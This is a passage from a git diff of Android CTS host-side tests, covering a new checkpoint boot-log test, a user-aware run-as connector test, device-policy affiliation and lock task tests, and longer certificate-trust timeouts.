+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsCheckpointTestCases
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+LOCAL_CTS_TEST_PACKAGE := android.checkpoint
+
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests gts
+
+LOCAL_MIN_SDK_VERSION := 4
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/checkpoint/AndroidTest.xml b/hostsidetests/checkpoint/AndroidTest.xml
new file mode 100644
index 0000000..1b8aba3
--- /dev/null
+++ b/hostsidetests/checkpoint/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Checkpoint host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsCheckpointTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/checkpoint/OWNERS b/hostsidetests/checkpoint/OWNERS
new file mode 100644
index 0000000..6b12108
--- /dev/null
+++ b/hostsidetests/checkpoint/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 30545
+paullawrence@google.com
+drosen@google.com
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
new file mode 100644
index 0000000..d128c2d
--- /dev/null
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.checkpoint.cts;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import junit.framework.Assert;
+
+
+/**
+ * Test to validate that the checkpoint failures in b/138952436 are properly patched
+ */
+public class CheckpointHostTest extends DeviceTestCase {
+    private static final String TAG = "CheckpointHostTest";
+
+    @CtsDownstreamingTest
+    public void testLogEntries() throws Exception {
+        // This test is build also as a part of GTS, which runs also on older releases.
+        if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
+
+        // Clear buffer to make it easier to find new logs
+        getDevice().executeShellCommand("logcat --clear");
+
+        // reboot device
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+
+        // wait for logs to post
+        Thread.sleep(10000);
+
+        final String amLog = getDevice().executeShellCommand("logcat -d -s ActivityManager");
+        int counterNameIndex = amLog.indexOf("ActivityManager: About to commit checkpoint");
+        Assert.assertTrue("did not find commit checkpoint in boot logs", counterNameIndex != -1);
+
+        final String checkpointLog = getDevice().executeShellCommand("logcat -d -s Checkpoint");
+        counterNameIndex = checkpointLog.indexOf(
+            "Checkpoint: cp_prepareCheckpoint called");
+        Assert.assertTrue("did not find prepare checkpoint in boot logs", counterNameIndex != -1);
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+}
diff --git a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
index d6140f0..7f69bf3 100644
--- a/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
+++ b/hostsidetests/cpptools/src/com/android/cts/cpptools/RunasPermissionsTest.java
@@ -31,10 +31,7 @@
     private static final String CONNECTOR_EXE_NAME = "connector";
     private static final String START_TEST_APP_COMMAND = String.format("cmd activity start-activity -S -W %s/%s.%s",
             TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_APP_CLASS);
-    private static final String COPY_CONNECTOR_COMMAND = String
-            .format("run-as %s sh -c 'cp -f /data/local/tmp/%s ./code_cache/'", TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
-    private static final String RUN_CONNECTOR_COMMAND = String.format("run-as %s sh -c './code_cache/%s'",
-            TEST_APP_PACKAGE, CONNECTOR_EXE_NAME);
+
     // Test app ('DomainSocketActivity') would pass string "Connection Succeeded." to the
     // connector, and then the connector would append a newline and print it out.
     private static final String EXPECTED_CONNECTOR_OUTPUT = "Connection Succeeded.\n";
@@ -54,8 +51,13 @@
 
         // Start a run-as process that attempts to connect to the socket opened by the
         // app.
-        getDevice().executeShellCommand(COPY_CONNECTOR_COMMAND);
-        String results = getDevice().executeShellCommand(RUN_CONNECTOR_COMMAND);
+        int currentUser = getDevice().getCurrentUser();
+        getDevice().executeShellCommand(String.format(
+                "run-as %s --user %d sh -c 'cp -f /data/local/tmp/%s ./code_cache/'",
+                        TEST_APP_PACKAGE, currentUser, CONNECTOR_EXE_NAME));
+        String results = getDevice().executeShellCommand(String.format(
+                "run-as %s --user %d sh -c './code_cache/%s'",
+                        TEST_APP_PACKAGE, currentUser, CONNECTOR_EXE_NAME));
         assertEquals(EXPECTED_CONNECTOR_OUTPUT, results);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index c8385d7..fedd10e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -85,6 +85,20 @@
         <activity
             android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
             android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+
+        <activity
+            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
+        <activity
+            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfWhitelisted"
+            android:launchMode="singleInstance"
+            android:lockTaskMode="if_whitelisted">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.HOME"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java
new file mode 100644
index 0000000..5b8f4fb
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AffiliationTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class AffiliationTest {
+
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getContext();
+        mDevicePolicyManager = (DevicePolicyManager)
+                context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+    }
+
+    @Test
+    public void testSetAffiliationId1() {
+        setAffiliationIds(Collections.singleton("id.number.1"));
+    }
+
+    @Test
+    public void testSetAffiliationId2() {
+        setAffiliationIds(Collections.singleton("id.number.2"));
+    }
+
+    @Test
+    public void testLockTaskMethodsThrowExceptionIfUnaffiliated() {
+        checkLockTaskMethodsThrow();
+    }
+
+    /** Assumes that the calling user is already affiliated before calling this method */
+    @Test
+    public void testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated() {
+        final String[] packages = {"package1", "package2"};
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
+        assertArrayEquals(packages,
+                mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT));
+        assertTrue(mDevicePolicyManager.isLockTaskPermitted("package1"));
+        assertFalse(mDevicePolicyManager.isLockTaskPermitted("package3"));
+
+        final Set<String> previousAffiliationIds =
+                mDevicePolicyManager.getAffiliationIds(ADMIN_RECEIVER_COMPONENT);
+        try {
+            // Clearing affiliation ids for this user. Lock task methods unavailable.
+            setAffiliationIds(Collections.emptySet());
+            checkLockTaskMethodsThrow();
+            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+
+            // Affiliating the user again. Previously set packages have been cleared.
+            setAffiliationIds(previousAffiliationIds);
+            assertEquals(0,
+                    mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT).length);
+            assertFalse(mDevicePolicyManager.isLockTaskPermitted("package1"));
+        } finally {
+            mDevicePolicyManager.setAffiliationIds(ADMIN_RECEIVER_COMPONENT,
+                    previousAffiliationIds);
+        }
+    }
+
+    private void setAffiliationIds(Set<String> ids) {
+        mDevicePolicyManager.setAffiliationIds(ADMIN_RECEIVER_COMPONENT, ids);
+        assertEquals(ids, mDevicePolicyManager.getAffiliationIds(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    private void checkLockTaskMethodsThrow() {
+        try {
+            mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, new String[0]);
+            fail("setLockTaskPackages did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+        try {
+            mDevicePolicyManager.getLockTaskPackages(ADMIN_RECEIVER_COMPONENT);
+            fail("getLockTaskPackages did not throw expected SecurityException");
+        } catch (SecurityException expected) {
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index fe6e0b9..8f9b9b5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -110,7 +110,22 @@
         }
     }
 
+    protected void waitUntilUserUnlocked() {
+        boolean isUserUnlocked = mUserManager.isUserUnlocked();
+        int retries = 30;
+        while (retries >= 0 && !isUserUnlocked) {
+            retries--;
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException e) {
+                break;
+            }
+        }
+        assertTrue("User should have been unlocked", mUserManager.isUserUnlocked());
+    }
+
     protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
+        waitUntilUserUnlocked();
         int retries = 15;
         // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
         while (retries >= 0
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
index 11c1507..2e5f479 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
@@ -36,10 +36,6 @@
 import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
 
 public class CaCertManagementTest extends BaseDeviceAdminTest {
-    // Maximal number of times to check whether a certificate is in the accepted
-    // issuers list before declaring test failure.
-    private static final int MAX_IS_TRUSTED_CHECKS = 50;
-
     private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
 
     /**
@@ -154,11 +150,15 @@
         X509TrustManager tm = getFirstX509TrustManager(tmf);
         boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
 
+        // Maximal time to wait until the certificate is found to be in the accepted
+        // issuers list before declaring test failure.
+        final int maxWaitForCertificateTrustedSec = 15;
+
         // All three responses should match - if an installed certificate isn't trusted or (worse)
         // a trusted certificate isn't even installed we should fail now, loudly.
         assertEquals(installed, listed);
         int numTries = 0;
-        while (numTries < MAX_IS_TRUSTED_CHECKS && (installed != trusted)) {
+        while (numTries < (maxWaitForCertificateTrustedSec * 10) && (installed != trusted)) {
             try {
                 Thread.sleep(100);
                 trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index bc33910..653fd57 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -349,7 +349,7 @@
 
     private void assertResult(String testName, Boolean expectSuccess) throws InterruptedException {
         assertTrue("Cert installer did not respond in time.",
-                mAvailableResultSemaphore.tryAcquire(10, TimeUnit.SECONDS));
+                mAvailableResultSemaphore.tryAcquire(60, TimeUnit.SECONDS));
         synchronized (this) {
             if (expectSuccess) {
                 assertTrue(testName + " failed unexpectedly.", mReceivedResult);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
new file mode 100644
index 0000000..932943a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -0,0 +1,290 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import android.app.ActivityManager;
+import android.app.ActivityOptions;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Build;
+import android.os.Bundle;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.telecom.TelecomManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class that is meant to be driven from the host and can't be run alone, which is required
+ * for tests that include rebooting or other connection-breaking steps. For this reason, this class
+ * does not override tearDown and setUp just initializes the test state, changing nothing in the
+ * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
+ * state after running.
+ */
+@RunWith(AndroidJUnit4.class)
+public class LockTaskHostDrivenTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = LockTaskHostDrivenTest.class.getName();
+    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+    private static final String LOCK_TASK_ACTIVITY
+            = LockTaskUtilityActivityIfWhitelisted.class.getName();
+
+    private UiDevice mUiDevice;
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private ActivityManager mActivityManager;
+    private TelecomManager mTelcomManager;
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Before
+    public void setUp() {
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        mTelcomManager = mContext.getSystemService(TelecomManager.class);
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+    }
+
+    @Test
+    public void startLockTask() throws Exception {
+        Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
+        setLockTaskPackages(mContext.getPackageName());
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        mUiDevice.waitForIdle();
+    }
+
+    @Test
+    public void cleanupLockTask() {
+        Log.d(TAG, "cleanupLockTask on host-driven test");
+        mDevicePolicyManager.clearPackagePersistentPreferredActivities(
+                ADMIN_RECEIVER_COMPONENT,
+                mContext.getPackageName());
+        setLockTaskPackages();
+        mDevicePolicyManager.setLockTaskFeatures(ADMIN_RECEIVER_COMPONENT, 0);
+        // In case some activity is still in foreground
+        mUiDevice.pressHome();
+    }
+
+    /**
+     * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
+     * assume it's finished. Therefore, only use it once in a given test.
+     */
+    @Test
+    public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
+        Log.d(TAG, "testLockTaskIsActiveAndCantBeInterrupted on host-driven test");
+        waitAndCheckLockedActivityIsResumed();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressBack();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.pressRecentApps();
+        mUiDevice.waitForIdle();
+        checkLockedActivityIsRunning();
+
+        mUiDevice.waitForIdle();
+    }
+
+    @Test
+    public void testLockTaskIsExitedIfNotWhitelisted() throws Exception {
+        Log.d(TAG, "testLockTaskIsExitedIfNotWhitelisted on host-driven test");
+
+        // Whitelist this package
+        setLockTaskPackages(mContext.getPackageName());
+
+        // Launch lock task root activity
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        waitAndCheckLockedActivityIsResumed();
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        // Remove it from whitelist
+        setLockTaskPackages();
+        mUiDevice.waitForIdle();
+
+        // The activity should be finished and exit lock task mode
+        waitAndCheckLockedActivityIsPaused();
+        assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
+    }
+
+    @Test
+    public void testLockTaskCanLaunchDefaultDialer() throws Exception {
+        if (!hasTelephonyFeature()) {
+            Log.d(TAG, "testLockTaskCanLaunchDefaultDialer skipped");
+            return;
+        }
+
+        Log.d(TAG, "testLockTaskCanLaunchDefaultDialer on host-driven test");
+
+        // Whitelist dialer package
+        String dialerPackage = mTelcomManager.getSystemDialerPackage();
+        assertNotNull(dialerPackage);
+        setLockTaskPackages(mContext.getPackageName(), dialerPackage);
+
+        // Launch lock task root activity
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        waitAndCheckLockedActivityIsResumed();
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        // Launch dialer
+        launchDialerIntoLockTaskMode(dialerPackage);
+
+        // Wait until dialer package starts
+        mUiDevice.wait(
+                Until.hasObject(By.pkg(dialerPackage).depth(0)),
+                ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+        mUiDevice.waitForIdle();
+        waitAndCheckLockedActivityIsPaused();
+
+        // But still in LockTask mode
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED,
+                mActivityManager.getLockTaskModeState());
+    }
+
+    @Test
+    public void testLockTaskCanLaunchEmergencyDialer() throws Exception {
+        if (!hasTelephonyFeature()) {
+            Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped");
+            return;
+        }
+
+        // Find dialer package
+        String dialerPackage = getEmergencyDialerPackageName();
+        if (dialerPackage == null || dialerPackage.isEmpty()) {
+            Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped since no emergency dialer");
+            return;
+        }
+
+        Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer on host-driven test");
+
+        // Emergency dialer should be usable as long as keyguard feature is enabled
+        // regardless of the package whitelist
+        mDevicePolicyManager.setLockTaskFeatures(
+                ADMIN_RECEIVER_COMPONENT, DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD);
+        setLockTaskPackages(mContext.getPackageName());
+
+        // Launch lock task root activity
+        setDefaultHomeIntentReceiver();
+        launchLockTaskActivity();
+        waitAndCheckLockedActivityIsResumed();
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        // Launch dialer
+        launchEmergencyDialer();
+
+        // Wait until dialer package starts
+        mUiDevice.wait(
+                Until.hasObject(By.pkg(dialerPackage).depth(0)),
+                ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+        mUiDevice.waitForIdle();
+        waitAndCheckLockedActivityIsPaused();
+
+        // But still in LockTask mode
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED,
+                mActivityManager.getLockTaskModeState());
+    }
+
+    private boolean hasTelephonyFeature() {
+        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
+
+    private void checkLockedActivityIsRunning() {
+        String activityName =
+                mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity.getClassName();
+        assertEquals(LOCK_TASK_ACTIVITY, activityName);
+        assertEquals(
+                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+    }
+
+    private void waitAndCheckLockedActivityIsResumed() throws Exception {
+        mUiDevice.waitForIdle();
+        assertTrue(
+                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
+    }
+
+    private void waitAndCheckLockedActivityIsPaused() throws Exception {
+        mUiDevice.waitForIdle();
+        assertTrue(
+                LockTaskUtilityActivity.waitUntilActivityPaused(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
+    }
+
+    private void launchDialerIntoLockTaskMode(String dialerPackage) {
+        Intent intent = new Intent(Intent.ACTION_DIAL)
+                .setPackage(dialerPackage)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
+        mContext.startActivity(intent, options);
+    }
+
+    private void launchEmergencyDialer() {
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    private String getEmergencyDialerPackageName() {
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        ResolveInfo dialerInfo =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        return (dialerInfo != null) ? dialerInfo.activityInfo.packageName : null;
+    }
+
+    private void launchLockTaskActivity() {
+        Intent intent = new Intent(mContext, LockTaskUtilityActivityIfWhitelisted.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+        mContext.startActivity(intent);
+    }
+
+    private void setLockTaskPackages(String... packages) {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
+    }
+
+    private void setDefaultHomeIntentReceiver() {
+        IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
+        intentFilter.addCategory(Intent.CATEGORY_HOME);
+        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+        mDevicePolicyManager.addPersistentPreferredActivity(
+                ADMIN_RECEIVER_COMPONENT, intentFilter,
+                new ComponentName(mContext.getPackageName(), LOCK_TASK_ACTIVITY));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
similarity index 97%
rename from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
rename to hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
index 6cfec10..37f1be3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
@@ -13,7 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package com.android.cts.deviceowner;
+package com.android.cts.deviceandprofileowner;
 
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
@@ -23,10 +23,6 @@
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_OVERVIEW;
 import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-
 import static org.junit.Assert.assertArrayEquals;
 import static org.testng.Assert.assertThrows;
 
@@ -52,19 +48,18 @@
 import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
-public class LockTaskTest {
+public class LockTaskTest extends BaseDeviceAdminTest {
 
     private static final String TAG = "LockTaskTest";
 
     private static final String PACKAGE_NAME = LockTaskTest.class.getPackage().getName();
-    private static final ComponentName ADMIN_COMPONENT =
-            new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
+    private static final ComponentName ADMIN_COMPONENT = ADMIN_RECEIVER_COMPONENT;
     private static final String TEST_PACKAGE = "com.google.android.example.somepackage";
 
     private static final String UTILITY_ACTIVITY
-            = "com.android.cts.deviceowner.LockTaskUtilityActivity";
+            = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivity";
     private static final String UTILITY_ACTIVITY_IF_WHITELISTED
-            = "com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted";
+            = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfWhitelisted";
 
     private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
             "com.android.cts.intent.receiver";
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
similarity index 68%
rename from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivity.java
rename to hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
index aeb8abd..7811437 100644
